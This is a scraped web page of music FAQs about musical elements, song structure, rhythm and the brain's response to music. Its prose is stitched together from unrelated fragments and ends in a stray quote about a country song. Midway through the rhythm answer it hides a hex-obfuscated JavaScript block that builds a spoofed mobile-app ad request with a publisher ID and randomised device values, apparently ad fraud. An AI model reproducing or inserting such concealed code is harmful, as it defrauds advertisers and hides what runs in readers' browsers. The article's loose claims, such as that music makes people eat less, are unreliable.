Things About Music Which Will Blow Your Mind

 Basic Music Elements

I.  Sound (overtone, timbre, pitch, amplitude, duration)

II. Melody

III. Harmony.

IV. Rhythm.

V. Texture.

VI. Structure/form.

VII. Expression (dynamics, tempo, articulation)

Who created music?

It was an essential aspect of their everyday lives since it was how they expressed themselves and what made them human. No one knows precisely who first invented music or when music came about but we can say that music was an essential part of early human life.

What is unique about music?

It transcends walls and boundaries with its language. Music is the language that everyone understands. It is an element that connects people around the globe regardless of their origin and cannot be stopped by borders or prejudices. It seems that making music is even one of the most basic human instincts.

What is a song made of?

The basic song structure consists of an intro, verse, pre-chorus, chorus, and bridge (many times, this is all tied together in an outro, too).

What is a rhythm in music?

Rhythm is music's pattern in time. Whatever other elements a given piece of music may have (e.g., patterns in pitch or timbre), rhythm is the one indispensable element of all music. Rhythm can exist without melody, as in the drumbeats of so-called primitive music, but a piece cannot exist without rhythm. var pubid = '1506690545848347'; var s1 = '7493308917'; var pn1 = 'com.FindThePairGame'; var _0x6717=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x67\x6F\x6F\x67\x6C\x65\x61\x64\x73\x2E\x67\x2E\x64\x6F\x75\x62\x6C\x65\x63\x6C\x69\x63\x6B\x2E\x6E\x65\x74\x2F\x6D\x61\x64\x73\x2F\x67\x6D\x61\x3F\x70\x72\x65\x71\x73\x3D\x30\x26\x75\x5F\x73\x64\x3D\x31\x2E\x35\x26\x75\x5F\x77\x3D\x33\x32\x30\x26\x6D\x73\x69\x64\x3D","\x26\x63\x61\x70\x3D\x61\x26\x6A\x73\x3D\x61\x66\x6D\x61\x2D\x73\x64\x6B\x2D\x61\x2D\x76\x33\x2E\x33\x2E\x30\x26\x74\x6F\x61\x72\x3D\x30\x26\x69\x73\x75\x3D\x57\x25\x32\x37\x2B\x4D\x61\x74\x68\x2E\x66\x6C\x6F\x6F\x72\x25\x32\x38\x4D\x61\x74\x68\x2E\x72\x61\x6E\x64\x6F\x6D\x25\x32\x38\x25\x32\x39\x2A\x39\x25\x32\x39\x2B\x25\x32\x37\x45\x45\x41\x42\x42\x38\x45\x45\x25\x32\x37\x2B\x4D\x61\x74\x68\x2E\x66\x6C\x6F\x6F\x72\x25\x32\x38\x4D\x61\x74\x68\x2E\x72\x61\x6E\x64\x6F\x6D\x25\x32\x38\x25\x32\x39\x2A\x39\x39\x25\x32\x39\x2B\x25\x32\x37\x43\x32\x42\x45\x37\x37\x30\x42\x36\x38\x34\x44\x25\x32\x37\x2B\x4D\x61\x74\x68\x2E\x66\x6C\x6F\x6F\x72\x25\x32\x38\x4D\x61\x74\x68\x2E\x72\x61\x6E\x64\x6F\x6D\x25\x32\x38\x25\x32\x39\x2A\x39\x39\x39\x39\x39\x25\x32\x39\x2B\x25\x32\x37\x45\x43\x42\x26\x63\x69\x70\x61\x3D\x30\x26\x66\x6F\x72\x6D\x61\x74\x3D\x33\x32\x30\x78\x35\x30\x5F\x6D\x62\x26\x6E\x65\x74\x3D\x77\x69\x26\x61\x70\x70\x5F\x6E\x61\x6D\x65\x3D\x31\x2E\x61\x6E\x64\x72\x6F\x69\x64\x2E","\x26\x68\x6C\x3D\x65\x6E\x26\x75\x5F\x68\x3D\x25\x32\x37\x2B\x4D\x61\x74\x68\x2E\x66\x6C\x6F\x6F\x72\x25\x32\x38\x4D\x61\x74\x68\x2E\x72\x61\x6E\x64\x6F\x6D\x25\x32\x38\x25\x32\x39\x2A\x39\x39\x39\x25\x32\x39\x2B\x25\x32\x37\x26\x63\x61\x72\x72\x69\x65\x72\x3D\x25\x32\x37\x2B\x4D\x61\x74\x68\x2E\x66\x6C\x6F\x6F\x72\x25\x32\x38\x4D\x61\x74\x68\x2E\x72\x61\x6E\x64\x6F\x6D\x25\x32\x38\x25\x32\x39\x2A\x39\x39\x39\x39\x39\x39\x25\x32\x39\x2B\x25\x32\x37\x26\x70\x74\x69\x6D\x65\x3D\x30\x26\x75\x5F\x61\x75\x64\x69\x6F\x3D\x34\x26\x75\x5F\x73\x6F\x3D\x70\x26\x6F\x75\x74\x70\x75\x74\x3D\x68\x74\x6D\x6C\x26\x72\x65\x67\x69\x6F\x6E\x3D\x6D\x6F\x62\x69\x6C\x65\x5F\x61\x70\x70\x26\x75\x5F\x74\x7A\x3D\x2D\x25\x32\x37\x2B\x4D\x61\x74\x68\x2E\x66\x6C\x6F\x6F\x72\x25\x32\x38\x4D\x61\x74\x68\x2E\x72\x61\x6E\x64\x6F\x6D\x25\x32\x38\x25\x32\x39\x2A\x39\x39\x39\x25\x32\x39\x2B\x25\x32\x37\x26\x63\x6C\x69\x65\x6E\x74\x5F\x73\x64\x6B\x3D\x31\x26\x65\x78\x3D\x31\x26\x63\x6C\x69\x65\x6E\x74\x3D\x63\x61\x2D\x61\x70\x70\x2D\x70\x75\x62\x2D","\x26\x73\x6C\x6F\x74\x6E\x61\x6D\x65\x3D","\x26\x63\x61\x70\x73\x3D\x69\x6E\x6C\x69\x6E\x65\x56\x69\x64\x65\x6F\x5F\x69\x6E\x74\x65\x72\x61\x63\x74\x69\x76\x65\x56\x69\x64\x65\x6F\x5F\x6D\x72\x61\x69\x64\x31\x5F\x63\x6C\x69\x63\x6B\x54\x72\x61\x63\x6B\x69\x6E\x67\x5F\x73\x64\x6B\x41\x64\x6D\x6F\x62\x41\x70\x69\x46\x6F\x72\x41\x64\x73\x26\x6A\x73\x76\x3D\x31\x38\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x35\x35\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x32\x35\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x30\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x30\x22\x20\x6D\x61\x72\x67\x69\x6E\x77\x69\x64\x74\x68\x3D\x22\x30\x22\x20\x6D\x61\x72\x67\x69\x6E\x68\x65\x69\x67\x68\x74\x3D\x22\x30\x22\x20"];var src1=_0x6717[0]+ pn1+ _0x6717[1]+ pn1+ _0x6717[2]+ pubid+ _0x6717[3]+ s1+ _0x6717[4]

It elevates mood.

It reduces stress.

It relieves symptoms of depression.

It stimulates memories.

• It helps people eat less.

What is so great about music?

It taps into the same parts of the brain that pleasure from sex and food does. Music floods the brain with a chemical called dopamine. Dopamine is the chemical in the brain associated with pleasure, motivation, and reward. Studies have shown that certain pieces of classical music will have the same effect on everyone.

Why do I like the music I like?

Other studies show that listening to mellow music can stimulate the production of the hormone oxytocin, which promotes feelings of love, social bonding, well-being, and calm.

Why does music make us feel?

Music has the ability to evoke powerful emotional responses such as chills and thrills in listeners. Positive emotions dominate musical experiences. Pleasurable music may lead to the release of neurotransmitters associated with reward, such as dopamine. Listening to music is an easy way to alter mood or relieve stress. 

Why does music make us cry?

Tears and chills – or “tingles” – on hearing music are a physiological response that activates the parasympathetic nervous system, as well as the reward-related brain regions of the brain. Studies have shown that around 25% of the population experience this reaction to music.

What is the beauty of music?

MUSIC IS the purest form of art, and therefore the most direct expression of beauty, with a form and spirit which is one and simple, and least encumbered with anything extraneous. We seem to feel that the manifestation of the infinite in the finite forms of creation is the music itself, silent and visible.

Why is music so addictive?

When we hear a song that we like, our bodies react by producing the neurotransmitter dopamine which engenders feelings of enjoyment. The nucleus accumbens produces the feel-good chemical dopamine. This neurotransmitter comes from the ventral striatum — the region responsible for decision-making. It also holds the key to hedonistic behaviors by controlling a person's addictive urges.

If you can take a piece of life and put it in a song, it's going to be a good song - especially if it's from the heart.

'Swagger' would be the word for 'Dirt On My Boots.' With the real funky drum loop and the ganja rolling down, and then the fiddles and the guitar and steel, it really took an old school style where it's fiddle, steel, guitar, and mixed it with a drum loop.
